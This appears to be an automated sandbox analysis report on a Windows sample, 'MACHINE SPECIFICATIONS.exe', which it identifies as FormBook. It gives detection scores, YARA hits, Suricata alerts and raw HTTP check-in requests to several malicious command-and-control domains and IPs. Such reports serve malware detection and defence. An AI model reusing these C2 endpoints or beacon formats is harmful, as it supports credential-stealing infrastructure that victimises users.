Windows Analysis Report
MACHINE SPECIFICATIONS.exe

AV Detection

Source: http://www.progressreport.sbs/fm0t/	Avira URL Cloud: Label: malware
Source: http://www.anyang-590303492.click/5asc/?i0D=aFiBmGBHqEtSRV8Cg0RlGSi5TQ6JNnuZv4EZqPlz8fbXA74/mH2vwX8Y+jkph8wmDySORnJ3hzzoOxdxucHlyqeTEhePJlZ1zQpYIuYebwf350JlX/oyurrrinDVfIpPIg==&o4=iBJXOXwHqRvdsxx	Avira URL Cloud: Label: malware
Source: http://www.anyang-590303492.click/5asc/	Avira URL Cloud: Label: malware
Source: http://www.progressreport.sbs/fm0t/?i0D=HN0FJPMJqE54WuoAC9rBg+iyPy7iUGoE0RypB5g7CfrFeifDFflhbSZNtLTs7U15HZnIBVPqsxfpJr9ggZsB5iem3OSdmCTVuRrKagxGKxDGgf+JkfXC7lolV3X7374/ew==&o4=iBJXOXwHqRvdsxx	Avira URL Cloud: Label: malware

Source: MACHINE SPECIFICATIONS.exe	ReversingLabs: Detection: 47%
Source: MACHINE SPECIFICATIONS.exe	Virustotal: Detection: 46%			Perma Link

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1023946734.00000000074E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3363348707.0000000005670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361296976.0000000000800000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3361185942.00000000007B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1017720914.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3359220364.0000000000110000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3361032659.0000000002300000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1021306624.0000000003FE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Compliance

Source: MACHINE SPECIFICATIONS.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: RmClient.pdbGCTL source: svchost.exe, 00000002.00000002.1017998130.0000000003612000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1017979874.0000000003600000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360230218.000000000061E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.917648133.0000000003780000.00000004.00001000.00020000.00000000.sdmp, MACHINE SPECIFICATIONS.exe, 00000000.00000003.915648029.0000000003920000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.923429419.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.921429523.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1018580969.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1024300581.000000000087C000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000BCE000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000A30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MACHINE SPECIFICATIONS.exe, 00000000.00000003.917648133.0000000003780000.00000004.00001000.00020000.00000000.sdmp, MACHINE SPECIFICATIONS.exe, 00000000.00000003.915648029.0000000003920000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1019775022.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1019775022.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.923429419.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.921429523.0000000003800000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1018580969.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000003.1024300581.000000000087C000.00000004.00000020.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000BCE000.00000040.00001000.00020000.00000000.sdmp, RmClient.exe, 00000004.00000002.3361658075.0000000000A30000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RmClient.exe, 00000004.00000002.3362363098.00000000031DC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.000000000046D000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000000.1089426792.000000000323C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1313448559.000000001D8BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RmClient.exe, 00000004.00000002.3362363098.00000000031DC000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3359764476.000000000046D000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000000.1089426792.000000000323C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1313448559.000000001D8BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RmClient.pdb source: svchost.exe, 00000002.00000002.1017998130.0000000003612000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1017979874.0000000003600000.00000004.00000020.00020000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000003.00000002.3360230218.000000000061E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IexMqt2DaKEZyYvnrd.exe, 00000003.00000000.942593208.000000000048F000.00000002.00000001.01000000.00000004.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3359108111.000000000048F000.00000002.00000001.01000000.00000004.sdmp

Spreading

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B84696 GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00B84696
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8C9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00B8C9C7
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8C93C FindFirstFileW,FindClose,		0_2_00B8C93C
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00B8F200
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00B8F35D
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8F65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00B8F65E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B83A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00B83A2B
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B83D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00B83D4E
Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe	Code function: 0_2_00B8BF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00B8BF27

Networking

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49768 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49697 -> 172.64.80.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49697 -> 172.64.80.1:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49737 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49768 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49832 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49862 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49703 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49922 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49922 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49963 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49964 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49968 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49970 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49964 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49968 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49965 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49966 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49961 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49962 -> 38.180.96.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49967 -> 76.223.54.146:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49974 -> 104.166.89.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49986 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49980 -> 203.161.38.186:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49980 -> 203.161.38.186:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49998 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49978 -> 203.161.38.186:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49988 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49988 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49987 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49985 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50005 -> 172.67.165.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49991 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50009 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49982 -> 77.245.159.55:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49983 -> 77.245.159.55:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49972 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49972 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:50000 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:50000 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49977 -> 203.161.38.186:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49979 -> 203.161.38.186:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49992 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49992 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49971 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49984 -> 77.245.159.55:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49984 -> 77.245.159.55:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49999 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49976 -> 104.166.89.204:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49976 -> 104.166.89.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50003 -> 172.67.165.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49891 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50004 -> 172.67.165.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49969 -> 199.59.243.160:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49711 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49975 -> 104.166.89.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49981 -> 77.245.159.55:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:50008 -> 104.21.9.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49997 -> 52.223.13.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49973 -> 104.166.89.204:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49989 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49990 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49996 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49996 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:50007 -> 172.64.80.1:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:50007 -> 172.64.80.1:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:50006 -> 172.67.165.31:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:50006 -> 172.67.165.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49995 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49994 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49993 -> 84.32.84.32:80

Source:	DNS query: www.link6-tesla-nd6.xyz
Source:	DNS query: www.dubaicarpark.xyz

Source: Joe Sandbox View	IP Address: 38.180.96.83 38.180.96.83
Source: Joe Sandbox View	IP Address: 199.59.243.160 199.59.243.160
Source: Joe Sandbox View	IP Address: 76.223.54.146 76.223.54.146

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: NIOBEBILISIMHIZMETLERITR NIOBEBILISIMHIZMETLERITR

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\MACHINE SPECIFICATIONS.exe

Code function: 0_2_00B925E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00B925E2

Source: global traffic	HTTP traffic detected: GET /ncfq/?i0D=+3ITSOfBVIny1mTavZs17Q9376/klX3H2+I+HyXDj8rxQfoe7x2MXudpkRNTSK9fou3Tb2u3jId7JTCKoKkkHzbi1/mIu3L8OX7itiKQ9s8gCEbVC0ZQdGbRXrevBAMDtA==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.link6-tesla-nd6.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /pr5c/?i0D=Xi/LK6kwyXQKhjKCQL9Nuw5sgizlPuHS/HlWEmGvuZuMTg5EdAzzL2AF+0bP2fPPzrXK77OIZiUqo3lfgNtbWbvn/9PdsdkmkiRzjBkycVp9GvrV7/dJkR+UYfMt4sSY1w==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.xiongsupported.shopConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /q18c/?o4=iBJXOXwHqRvdsxx&i0D=aDm6GKOYr0XmGF3Nrvz8r4CnGLFy+8A+Hc3l0PWcafPryfk5HY5KCLAngANtOU40Me4kyF9duAdDeiOy56Plrgr/o4tM/MZKXU/jCltt8UHwcoNZhmmUVY8O6c2aCjyN9g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.v153cbo9xcl49.buzzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /fm0t/?i0D=HN0FJPMJqE54WuoAC9rBg+iyPy7iUGoE0RypB5g7CfrFeifDFflhbSZNtLTs7U15HZnIBVPqsxfpJr9ggZsB5iem3OSdmCTVuRrKagxGKxDGgf+JkfXC7lolV3X7374/ew==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.progressreport.sbsConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /v7hg/?o4=iBJXOXwHqRvdsxx&i0D=WZWKJ9Qw4GKZhbn8MUB5iivld8cr89J1rzv/5bsAiDwAi3JULUOModzom5VDkHubiOmOghqBmGr3eKIIMQjX4xRu2lRFXGlabl4DLkAm1EQi2otgsG2kyYsiaB+bGfQZ+g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.dubaicarpark.xyzConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5asc/?i0D=aFiBmGBHqEtSRV8Cg0RlGSi5TQ6JNnuZv4EZqPlz8fbXA74/mH2vwX8Y+jkph8wmDySORnJ3hzzoOxdxucHlyqeTEhePJlZ1zQpYIuYebwf350JlX/oyurrrinDVfIpPIg==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.anyang-590303492.clickConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /wgp3/?i0D=FbCmunup9JzbyjawoaUYO20YqMz5RcKn1ZlSYbA9NhRQ5NLtX0xVMyAtOROfqSjnxhBC7hrmjJ3peAjGixZUT33r4Ip3QHEQOUIMZH/wxeurfVbT1nYBFz5X+ylB/Jxe8w==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.cjokfbvd.netConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /avb4/?o4=iBJXOXwHqRvdsxx&i0D=s2d3SC9lVJJUD8xe34VAue8k/+/AHjZGzRlBhbfBEvZuVO2d91Pp1hTzVUJD49EBlr7ZA9kxaeDAcbJrPuTTzaaiVttkDPwgg+BIU7cg+CbAk6KyTQ/igpVk4MN1WdDa3g== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.apexpoint.topConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /scnj/?i0D=la6mruIiTl7jT5t2EcPRjP0WeEe/LFy3MvqxRRXa8eFDOUG5BAmqw6OJnO+J4HgW3FZhvM95BaNPh+FihBC2ef+dF/vlHdNiUXxBzK13a6a3wO2soDeUJbdcJB2RnA37+w==&o4=iBJXOXwHqRvdsxx HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Host: www.lefkosaturklisesi.netConnection: closeUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
